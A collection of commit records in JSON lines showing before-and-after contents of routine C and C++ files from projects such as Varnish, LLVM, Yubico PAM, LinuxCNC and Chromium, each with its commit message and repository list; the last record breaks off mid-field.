{"commit":"f0e79447ff7242b7da56bb5c1322c83c6abce641","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(Hit)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\n","subject":"Add shmem tag for Hits","message":"Add shmem tag for Hits\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@361 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"alarky\/varnish-cache-doc-ja,ajasty-cavium\/Varnish-Cache,chrismoulton\/Varnish-Cache,alarky\/varnish-cache-doc-ja,chrismoulton\/Varnish-Cache,mrhmouse\/Varnish-Cache,ssm\/pkg-varnish,franciscovg\/Varnish-Cache,franciscovg\/Varnish-Cache,1HLtd\/Varnish-Cache,1HLtd\/Varnish-Cache,drwilco\/varnish-cache-drwilco,ambernetas\/varnish-cache,ajasty-cavium\/Varnish-Cache,alarky\/varnish-cache-doc-ja,feld\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,alarky\/varnish-cache-doc-ja,gquintard\/Varnish-Cache,mrhmouse\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,wikimedia\/operations-debs-varnish,chrismoulton\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,varnish\/Varnish-Cache,wikimedia\/operations-debs-varnish,zhoualbeart\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,drwilco\/varnish-cache-old,zhoualbeart\/Varnish-Cache,drwilco\/varnish-cache-old,ambernetas\/varnish-cache,drwilco\/varnish-cache-drwilco,varnish\/Varnish-Cache,ambernetas\/varnish-cache,zhoualbeart\/Varnish-Cache,gquintard\/Varnish-Cache,wikimedia\/operations-debs-varnish,1HLtd\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,franciscovg\/Varnish-Cache,alarky\/varnish-cache-doc-ja,gquintard\/Varnish-Cache,franciscovg\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,ssm\/pkg-varnish,zhoualbeart\/Varnish-Cache,feld\/Varnish-Cache,ssm\/pkg-varnish,gquintard\/Varnish-Cache,feld\/Varnish-Cache,mrhmouse\/Varnish-Cache,feld\/Varnish-Cache,franciscovg\/Varnish-Cache,feld\/Varnish-Cache,ssm\/pkg-varnish,mrhmouse\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,wikimedia\/operations-debs-varnish,zhoualbeart\/Varnish-Cache,1HLtd\/Varnish-Cache,chrismoulton\/Varnish-Cache,varnish\/Varnish-Cache,varnish\/Varnish-Cache,drwilco\/varnish-cache-old,drwilco\/varnish-cache-drwilco,chrismoulton\/Varnish-Cache,varnish\/Varnish-Cache"}
{"commit":"bf737e99dd9fb759499919236142eb1da80cabab","old_file":"includes\/Rasterizer.h","new_file":"includes\/Rasterizer.h","old_contents":"#ifndef RASTERIZER_H\n#define RASTERIZER_H\n\n#include <string>\n\n#include \"Renderer.h\"\n\nclass Rasterizer : public Renderer {\nprivate:\n  const float k_a = 0.1;\n  const RGBColor AMBIENT_COLOR = RGBColor(1.0f, 1.0f, 1.0f);\npublic:\n  Rasterizer();\n  Rasterizer(World* world, const uint16_t image_width, const uint16_t image_height);\n  ~Rasterizer();\n  \n  const RGBColor shade(const GeometryObject& object, const Triangle3D& triangle, const Point3D point_in_triangle) const override;\n  void render(const std::string output_path) override;\nprivate:\n  const RGBColor phongShading(const Material& material, const RGBColor& base_color, const Triangle3D& triangle, const Point3D& point_in_triangle) const;\n  const RGBColor blinnPhongShading(const Material& material, const RGBColor& base_color, const Triangle3D& triangle, const Point3D& point_in_triangle) const;\n\n};\n\n#endif \/* RASTERIZER_H *\/\n\n","new_contents":"#ifndef RASTERIZER_H\n#define RASTERIZER_H\n\n#include <string>\n\n#include \"Renderer.h\"\n\nclass Rasterizer : public Renderer {\nprivate:\n  const float k_a = 0.1;\n  const RGBColor AMBIENT_COLOR = RGBColor(1.0f, 1.0f, 1.0f);\npublic:\n  Rasterizer();\n  Rasterizer(World* world, const uint16_t image_width, const uint16_t image_height);\n  ~Rasterizer();\n  \n  const RGBColor shade(const GeometryObject& object, const Triangle3D& triangle, const Point3D point_in_triangle) const override;\n  void render(const std::string output_path) override;\nprivate:\n  const Triangle2D toRaster(const Triangle3D& triangle_world) const;\n  const float getDepth(const Triangle3D& triangle_world, const Triangle2D& triangle_raster, const Point2D& pixel_raster) const;\n  const RGBColor phongShading(const Material& material, const RGBColor& base_color, const Triangle3D& triangle, const Point3D& point_in_triangle) const;\n  const RGBColor blinnPhongShading(const Material& material, const RGBColor& base_color, const Triangle3D& triangle, const Point3D& point_in_triangle) const;\n\n};\n\n#endif \/* RASTERIZER_H *\/\n\n","subject":"Refactor render method to make it simpler","message":"Refactor render method to make it simpler\n","lang":"C","license":"mit","repos":"mtrebi\/Rasterizer,mtrebi\/Rasterizer"}
{"commit":"b1fbb1ab644467a5b2f1eb96697a5fd17ee49c59","old_file":"ykbzero.h","new_file":"ykbzero.h","old_contents":"","new_contents":"\/* -*- mode:C; c-file-style: \"bsd\" -*- *\/\n\/*\n * Copyright (c) 2008-2019 Yubico AB\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *\n *     * Redistributions in binary form must reproduce the above\n *       copyright notice, this list of conditions and the following\n *       disclaimer in the documentation and\/or other materials provided\n *       with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef\t__YKBZERO_H_INCLUDED__\n#define\t__YKBZERO_H_INCLUDED__\n\n#ifdef _WIN32\n#include <windows.h>\n#else\n#include <string.h>\n#endif\n\n#ifdef _WIN32\n#define insecure_memzero(buf, len) SecureZeroMemory(buf, len)\n#elif HAVE_MEMSET_S\n#define insecure_memzero(buf, len) memset_s(buf, len, 0, len)\n#elif HAVE_EXPLICIT_BZERO\n#define insecure_memzero(buf, len) explicit_bzero(buf, len)\n#elif HAVE_EXPLICIT_MEMSET\n#define insecure_memzero(buf, len) explicit_memset(buf, 0, len)\n#elif HAVE_INLINE_ASM\n#define insecure_memzero(buf, len) do {                                 \\\n                memset(buf, 0, len);                                    \\\n                __asm__ __volatile__ (\"\" : : \"r\"(buf) : \"memory\");      \\\n        } while (0)\n#else\n#define insecure_memzero(buf, len) do {                                 \\\n                volatile unsigned char *volatile __buf_ =               \\\n                        (volatile unsigned char *volatile)buf;          \\\n                size_t __i_ = 0;                                        \\\n                while (__i_ < len) __buf_[__i_++] = 0;                  \\\n        } while (0)\n#endif\n\n#endif\t\/* __YKBZERO_H_INCLUDED__ *\/\n","subject":"Add missing header file missing in the last commit","message":"Add missing header file missing in the last commit\n","lang":"C","license":"bsd-2-clause","repos":"eworm-de\/yubico-pam,Yubico\/yubico-pam,Yubico\/yubico-pam,Yubico\/yubico-pam,eworm-de\/yubico-pam,eworm-de\/yubico-pam"}
{"commit":"d94d8d1afeaecbde0ed644de30a51f19f3b170dd","old_file":"examples\/picovic.c","new_file":"examples\/picovic.c","old_contents":"\/* shadowVIC – Copyright (c) 2015 Sven Michael Klose <pixel@hugbox.org> *\/\n\n#include <stdio.h>\n\n#include \"types.h\"\n#include \"config.h\"\n#include \"6502.h\"\n#include \"shadowvic.h\"\n#include \"joystick.h\"\n#include \"video.h\"\n#include \"sync.h\"\n\n#define FALSE   0\n#define TRUE    1\n\nint\nmain (int argc, char * argv[])\n{\n    struct vic20_config config = {\n        .is_expanded = FALSE,\n        .use_paddles = FALSE,\n        .manual_screen_updates = FALSE,\n        .frames_per_second = 50,\n        .frame_interceptor = NULL\n    };\n\n    printf (\"shadowVIC – https:\/\/github.com\/SvenMichaelKlose\/shadowvic\/\");\n\n    joystick_open ();\n    video_open ();\n    video_map ();\n    vic20_open (&config);\n    vic20_emulate (m[0xfffc] + (m[0xfffd] << 8));\n    vic20_close ();\n    video_close ();\n    joystick_close ();\n\n    return 0;\n}\n","new_contents":"\/* shadowVIC – Copyright (c) 2015 Sven Michael Klose <pixel@hugbox.org> *\/\n\n#include <stdio.h>\n\n#include \"types.h\"\n#include \"config.h\"\n#include \"6502.h\"\n#include \"shadowvic.h\"\n#include \"joystick.h\"\n#include \"video.h\"\n#include \"sync.h\"\n\n#define FALSE   0\n#define TRUE    1\n\nint\nmain (int argc, char * argv[])\n{\n    struct vic20_config config = {\n        .is_expanded = FALSE,\n        .use_paddles = FALSE,\n        .manual_screen_updates = FALSE,\n        .frames_per_second = 50,\n        .frame_interceptor = NULL\n    };\n\n    printf (\"picoVIC – https:\/\/github.com\/SvenMichaelKlose\/shadowvic\/\\n\");\n\n    joystick_open ();\n    video_open ();\n    video_map ();\n    vic20_open (&config);\n    vic20_emulate (m[0xfffc] + (m[0xfffd] << 8));\n    vic20_close ();\n    video_close ();\n    joystick_close ();\n\n    return 0;\n}\n","subject":"Print welcome message with application name and newline.","message":"Print welcome message with application name and newline.\n","lang":"C","license":"mit","repos":"SvenMichaelKlose\/shadowvic,SvenMichaelKlose\/shadowvic"}
{"commit":"ec73e01d1ec3837eb103e408b6fdc19b58fd6787","old_file":"projects\/switch\/mains\/uart\/main.c","new_file":"projects\/switch\/mains\/uart\/main.c","old_contents":"\n#include \"main.h\"\n#include <msp430.h>\n\n#include \"led_driver.h\"\n\nint main(void)\n{\n\tWDTCTL = WDTPW + WDTHOLD;\n\n\tled_initialize((led_addresses_s*)P1IN_);\n\t\n\tP1DIR = 0x04;\n\tP1SEL = 0x06;\n\t\n\tUCA0CTL0 = 0x00;\n\tUCA0CTL1 = UCSSEL_3;\n\tUCA0BR0 = 104;\n\tUCA0BR1 = 0x00;\n\tUCA0MCTL = 0x03 << 4;\n\t\n\tset_led_color(LED_GREEN);\n\t\n\twhile(1)\n\t{\n\t\tif(UCA0STAT & 0x01 == 0x00)\n\t\t{\n\t\t\tUCA0TXBUF = 0x5a;\n\t\t}\n\t}\n}\n","new_contents":"\n#include \"main.h\"\n#include <msp430.h>\n\n#include \"led_driver.h\"\n\nvoid main(void)\n{\n\tWDTCTL = WDTPW + WDTHOLD;\n\t\n\t\/\/Set clock to 1MHz\n\tBCSCTL1 = CALBC1_1MHZ;\n\tDCOCTL = CALDCO_1MHZ;\n\n\tled_initialize((led_addresses_s*)P1IN_);\n\t\n\tP1DIR |= 0x04;\n\tP1SEL |= 0x06;\n\tP1SEL2 |= 0x06;\n\t\n\tUCA0CTL0 |= 0x00;\n\tUCA0CTL1 |= UCSSEL_2;\n\tUCA0BR0 = 104;\n\tUCA0BR1 = 0x00;\n\tUCA0MCTL = UCBRS0;\n\t\n\tUCA0CTL1 &= ~UCSWRST;\n\t\n\tset_led_color(LED_GREEN);\n\n\twhile(1)\n\t{\n\n\t\tif((IFG2 & UCA0TXIFG) == UCA0TXIFG)\n\t\t{\n\t\t\tUCA0TXBUF = 0x5a;\n\t\t}\n\t\t\n\t\t\/\/IE2 |= UCA0TXIE;                                 \/\/ Enable USCI_A0 TX interrupt\n\t\t\/\/__bis_SR_register(LPM0_bits + GIE); \/\/ Enter LPM0, interrupts enabled\n\t}\n}\n\n#pragma vector=USCIAB0TX_VECTOR\n__interrupt void TX_Ready(void)\n{\n\tif((IFG2 & UCA0TXIFG) == UCA0TXIFG)\n\t{\n\t\tUCA0TXBUF = 0x5a;\n\t}\n}\n","subject":"Send '0x5A' across UART continuously.","message":"Send '0x5A' across UART continuously.\n","lang":"C","license":"bsd-2-clause","repos":"sep\/ping-pong-platform,sep\/ping-pong-platform,sep\/ping-pong-platform"}
{"commit":"538fbb508663e8c091f7e129ec36a6c7e6a4f1b1","old_file":"include\/llvm\/ADT\/StringSet.h","new_file":"include\/llvm\/ADT\/StringSet.h","old_contents":"\/\/===--- StringSet.h - The LLVM Compiler Driver -----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open\n\/\/ Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  StringSet - A set-like wrapper for the StringMap.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ADT_STRINGSET_H\n#define LLVM_ADT_STRINGSET_H\n\n#include \"llvm\/ADT\/StringMap.h\"\n\n#include <cassert>\n\nnamespace llvm {\n\n  \/\/\/ StringSet - A wrapper for StringMap that provides set-like\n  \/\/\/ functionality.  Only insert() and count() methods are used by my\n  \/\/\/ code.\n  template <class AllocatorTy = llvm::MallocAllocator>\n  class StringSet : public llvm::StringMap<char, AllocatorTy> {\n    typedef llvm::StringMap<char, AllocatorTy> base;\n  public:\n    bool insert (const std::string& InLang) {\n      assert(!InLang.empty());\n      const char* KeyStart = &InLang[0];\n      const char* KeyEnd = KeyStart + InLang.size();\n      return base::insert(llvm::StringMapEntry<char>::\n                          Create(KeyStart, KeyEnd, base::getAllocator(), '+'));\n    }\n  };\n}\n\n#endif \/\/ LLVM_ADT_STRINGSET_H\n","new_contents":"\/\/===--- StringSet.h - The LLVM Compiler Driver -----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open\n\/\/ Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  StringSet - A set-like wrapper for the StringMap.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ADT_STRINGSET_H\n#define LLVM_ADT_STRINGSET_H\n\n#include \"llvm\/ADT\/StringMap.h\"\n#include <cassert>\n\nnamespace llvm {\n\n  \/\/\/ StringSet - A wrapper for StringMap that provides set-like\n  \/\/\/ functionality.  Only insert() and count() methods are used by my\n  \/\/\/ code.\n  template <class AllocatorTy = llvm::MallocAllocator>\n  class StringSet : public llvm::StringMap<char, AllocatorTy> {\n    typedef llvm::StringMap<char, AllocatorTy> base;\n  public:\n    bool insert(const std::string& InLang) {\n      assert(!InLang.empty());\n      const char* KeyStart = &InLang[0];\n      const char* KeyEnd = KeyStart + InLang.size();\n      return base::insert(llvm::StringMapEntry<char>::\n                          Create(KeyStart, KeyEnd, base::getAllocator(), '+'));\n    }\n  };\n}\n\n#endif \/\/ LLVM_ADT_STRINGSET_H\n","subject":"Remove extra blank line and space.","message":"Remove extra blank line and space.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@61916 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"d71a3e7b93a9d7f4a4e95d40d4fc91b59afae358","old_file":"src\/hal\/classicladder\/classicladder_gtk.h","new_file":"src\/hal\/classicladder\/classicladder_gtk.h","old_contents":"void UpdateVScrollBar();\nvoid save_label_comment_edited();\nvoid refresh_label_comment( void );\nvoid clear_label_comment();\nvoid autorize_prevnext_buttons(int Yes);\nvoid ShowMessageBox(const char * title, const char * text, const char * button);\nvoid ShowConfirmationBoxWithChoiceOrNot(const char * title, const char * text, void * function_if_yes, char HaveTheChoice);\r\nvoid ShowConfirmationBox(const char * title, const char * text, void * function_if_yes);\nvoid RefreshOneBoolVar( int Type, int Num, int Val );\nvoid RefreshAllBoolsVars( );\nvoid UpdateAllLabelsBoolsVars( );\nvoid DoQuitGtkApplication( void );\nvoid DoReset( );\r\nvoid MessageInStatusBar( char * msg );\nvoid InitGtkWindows( int argc, char *argv[] );\nvoid UpdateAllGtkWindows( void );\nvoid UpdateWindowTitleWithProjectName( void );\n","new_contents":"void UpdateVScrollBar();\nvoid save_label_comment_edited();\nvoid refresh_label_comment( void );\nvoid clear_label_comment();\nvoid autorize_prevnext_buttons(int Yes);\nvoid ShowMessageBox(const char * title, const char * text, const char * button);\nvoid ShowConfirmationBoxWithChoiceOrNot(const char * title, const char * text, void * function_if_yes, char HaveTheChoice);\r\nvoid ShowConfirmationBox(const char * title, const char * text, void * function_if_yes);\nvoid RefreshOneBoolVar( int Type, int Num, int Val );\nvoid RefreshAllBoolsVars( );\nvoid UpdateAllLabelsBoolsVars( );\nvoid DoQuitGtkApplication( void );\nvoid DoReset( );\r\nvoid MessageInStatusBar( char * msg );\nvoid InitGtkWindows( int argc, char *argv[] );\nvoid UpdateAllGtkWindows( void );\nvoid UpdateWindowTitleWithProjectName( void );\nvoid ShowErrorMessage(const char * title, const char * text, const char * button);\nvoid CheckForErrors (void);\n","subject":"Add a message window to display %E variable controlled errors with out grabing focus","message":"Add a message window to display %E variable controlled errors with out grabing focus\n","lang":"C","license":"lgpl-2.1","repos":"RunningLight\/machinekit,Cid427\/machinekit,unseenlaser\/linuxcnc,RunningLight\/machinekit,bobvanderlinden\/machinekit,ArcEye\/machinekit-testing,ikcalB\/linuxcnc-mirror,bmwiedemann\/linuxcnc-mirror,kinsamanka\/machinekit,araisrobo\/linuxcnc,kinsamanka\/machinekit,cdsteinkuehler\/linuxcnc,ArcEye\/machinekit-testing,unseenlaser\/linuxcnc,araisrobo\/machinekit,unseenlaser\/linuxcnc,cnc-club\/linuxcnc,mhaberler\/machinekit,cdsteinkuehler\/linuxcnc,Cid427\/machinekit,aschiffler\/linuxcnc,bobvanderlinden\/machinekit,EqAfrica\/machinekit,kinsamanka\/machinekit,mhaberler\/machinekit,unseenlaser\/machinekit,araisrobo\/linuxcnc,ArcEye\/MK-Qt5,cdsteinkuehler\/MachineKit,bobvanderlinden\/machinekit,mhaberler\/machinekit,bmwiedemann\/linuxcnc-mirror,ArcEye\/machinekit-testing,araisrobo\/linuxcnc,ArcEye\/MK-Qt5,strahlex\/machinekit,unseenlaser\/machinekit,ianmcmahon\/linuxcnc-mirror,cdsteinkuehler\/linuxcnc,bobvanderlinden\/machinekit,bobvanderlinden\/machinekit,strahlex\/machinekit,araisrobo\/machinekit,yishinli\/emc2,EqAfrica\/machinekit,cdsteinkuehler\/MachineKit,EqAfrica\/machinekit,cnc-club\/linuxcnc,ikcalB\/linuxcnc-mirror,cnc-club\/linuxcnc,araisrobo\/machinekit,jaguarcat79\/ILC-with-LinuxCNC,bmwiedemann\/linuxcnc-mirror,bmwiedemann\/linuxcnc-mirror,aschiffler\/linuxcnc,kinsamanka\/machinekit,mhaberler\/machinekit,araisrobo\/machinekit,ArcEye\/MK-Qt5,narogon\/linuxcnc,ArcEye\/MK-Qt5,jaguarcat79\/ILC-with-LinuxCNC,araisrobo\/linuxcnc,RunningLight\/machinekit,ArcEye\/machinekit-testing,strahlex\/machinekit,ikcalB\/linuxcnc-mirror,ianmcmahon\/linuxcnc-mirror,ianmcmahon\/linuxcnc-mirror,kinsamanka\/machinekit,cdsteinkuehler\/linuxcnc,RunningLight\/machinekit,ArcEye\/machinekit-testing,ikcalB\/linuxcnc-mirror,araisrobo\/machinekit,narogon\/linuxcnc,kinsamanka\/machinekit,ArcEye\/MK-Qt5,bobvanderlinden\/machinekit,narogon\/linuxcnc,Cid427\/machinekit,ianmcmahon\/linuxcnc-mirror,kinsamanka\/machinekit,cdsteinkuehler\/MachineKit,EqAfrica\/machinekit,araisrobo\/machinekit,unseenlaser\/linuxcnc,ianmcmahon\/linuxcnc-mirror,jaguarcat79\/ILC-with-LinuxCNC,bmwiedemann\/linuxcnc-mirror,Cid427\/machinekit,ianmcmahon\/linuxcnc-mirror,yishinli\/emc2,unseenlaser\/machinekit,cdsteinkuehler\/linuxcnc,cdsteinkuehler\/linuxcnc,mhaberler\/machinekit,strahlex\/machinekit,mhaberler\/machinekit,unseenlaser\/machinekit,araisrobo\/machinekit,Cid427\/machinekit,narogon\/linuxcnc,RunningLight\/machinekit,unseenlaser\/machinekit,unseenlaser\/machinekit,Cid427\/machinekit,EqAfrica\/machinekit,ianmcmahon\/linuxcnc-mirror,narogon\/linuxcnc,bobvanderlinden\/machinekit,araisrobo\/linuxcnc,bmwiedemann\/linuxcnc-mirror,EqAfrica\/machinekit,cdsteinkuehler\/MachineKit,yishinli\/emc2,RunningLight\/machinekit,ikcalB\/linuxcnc-mirror,kinsamanka\/machinekit,strahlex\/machinekit,jaguarcat79\/ILC-with-LinuxCNC,ArcEye\/machinekit-testing,ArcEye\/machinekit-testing,aschiffler\/linuxcnc,strahlex\/machinekit,mhaberler\/machinekit,araisrobo\/machinekit,RunningLight\/machinekit,bmwiedemann\/linuxcnc-mirror,RunningLight\/machinekit,bobvanderlinden\/machinekit,unseenlaser\/linuxcnc,aschiffler\/linuxcnc,unseenlaser\/machinekit,EqAfrica\/machinekit,ArcEye\/MK-Qt5,aschiffler\/linuxcnc,ikcalB\/linuxcnc-mirror,strahlex\/machinekit,Cid427\/machinekit,EqAfrica\/machinekit,cdsteinkuehler\/MachineKit,araisrobo\/machinekit,mhaberler\/machinekit,cnc-club\/linuxcnc,ArcEye\/MK-Qt5,unseenlaser\/machinekit,cnc-club\/linuxcnc,ikcalB\/linuxcnc-mirror,cnc-club\/linuxcnc,jaguarcat79\/ILC-with-LinuxCNC,Cid427\/machinekit,ArcEye\/machinekit-testing,yishinli\/emc2,cdsteinkuehler\/MachineKit,cnc-club\/linuxcnc,ArcEye\/MK-Qt5"}
{"commit":"e1e3efe58ba4cc53ac354cfdf87ddff092c7dcc3","old_file":"mudlib\/mud\/home\/String\/initd.c","new_file":"mudlib\/mud\/home\/String\/initd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kernel\/kernel.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"String\", 1);\n\n\tload_dir(\"sys\", 1);\n}\n","subject":"Create String subsystem to handle all string related stuff","message":"Create String subsystem to handle all string related stuff\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"2a63eef748fa1910eddb0b772eb24344e6705fdc","old_file":"net\/socket\/ssl_client_socket.h","new_file":"net\/socket\/ssl_client_socket.h","old_contents":"\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SOCKET_SSL_CLIENT_SOCKET_H_\n#define NET_SOCKET_SSL_CLIENT_SOCKET_H_\n\n#include \"net\/socket\/client_socket.h\"\n\nnamespace net {\n\nclass SSLCertRequestInfo;\nclass SSLInfo;\n\n\/\/ A client socket that uses SSL as the transport layer.\n\/\/\n\/\/ NOTE: The SSL handshake occurs within the Connect method after a TCP\n\/\/ connection is established.  If a SSL error occurs during the handshake,\n\/\/ Connect will fail.\n\/\/\nclass SSLClientSocket : public ClientSocket {\n public:\n  \/\/ Gets the SSL connection information of the socket.\n  virtual void GetSSLInfo(SSLInfo* ssl_info) = 0;\n\n  \/\/ Gets the SSL CertificateRequest info of the socket after Connect failed\n  \/\/ with ERR_SSL_CLIENT_AUTH_CERT_NEEDED.\n  virtual void GetSSLCertRequestInfo(\n      SSLCertRequestInfo* cert_request_info) = 0;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SOCKET_SSL_CLIENT_SOCKET_H_\n","new_contents":"\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SOCKET_SSL_CLIENT_SOCKET_H_\n#define NET_SOCKET_SSL_CLIENT_SOCKET_H_\n\n#include \"net\/socket\/client_socket.h\"\n\nnamespace net {\n\nclass SSLCertRequestInfo;\nclass SSLInfo;\n\n\/\/ A client socket that uses SSL as the transport layer.\n\/\/\n\/\/ NOTE: The SSL handshake occurs within the Connect method after a TCP\n\/\/ connection is established.  If a SSL error occurs during the handshake,\n\/\/ Connect will fail.\n\/\/\nclass SSLClientSocket : public ClientSocket {\n public:\n  \/\/ Next Protocol Negotiation (NPN), if successful, results in agreement on an\n  \/\/ application-level string that specifies the application level protocol to\n  \/\/ use over the TLS connection. NextProto enumerates the application level\n  \/\/ protocols that we recognise.\n  enum NextProto {\n    kProtoUnknown = 0,\n    kProtoHTTP11 = 1,\n    kProtoSPDY = 2,\n  };\n\n  \/\/ Gets the SSL connection information of the socket.\n  virtual void GetSSLInfo(SSLInfo* ssl_info) = 0;\n\n  \/\/ Gets the SSL CertificateRequest info of the socket after Connect failed\n  \/\/ with ERR_SSL_CLIENT_AUTH_CERT_NEEDED.\n  virtual void GetSSLCertRequestInfo(\n      SSLCertRequestInfo* cert_request_info) = 0;\n\n  static NextProto NextProtoFromString(const std::string& proto_string) {\n    if (proto_string == \"http1.1\") {\n      return kProtoHTTP11;\n    } else if (proto_string == \"spdy\") {\n      return kProtoSPDY;\n    } else {\n      return kProtoUnknown;\n    }\n  }\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SOCKET_SSL_CLIENT_SOCKET_H_\n","subject":"Add static function to convert NPN strings to an enum.","message":"Add static function to convert NPN strings to an enum.\n\nhttp:\/\/codereview.chromium.org\/487012\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@34287 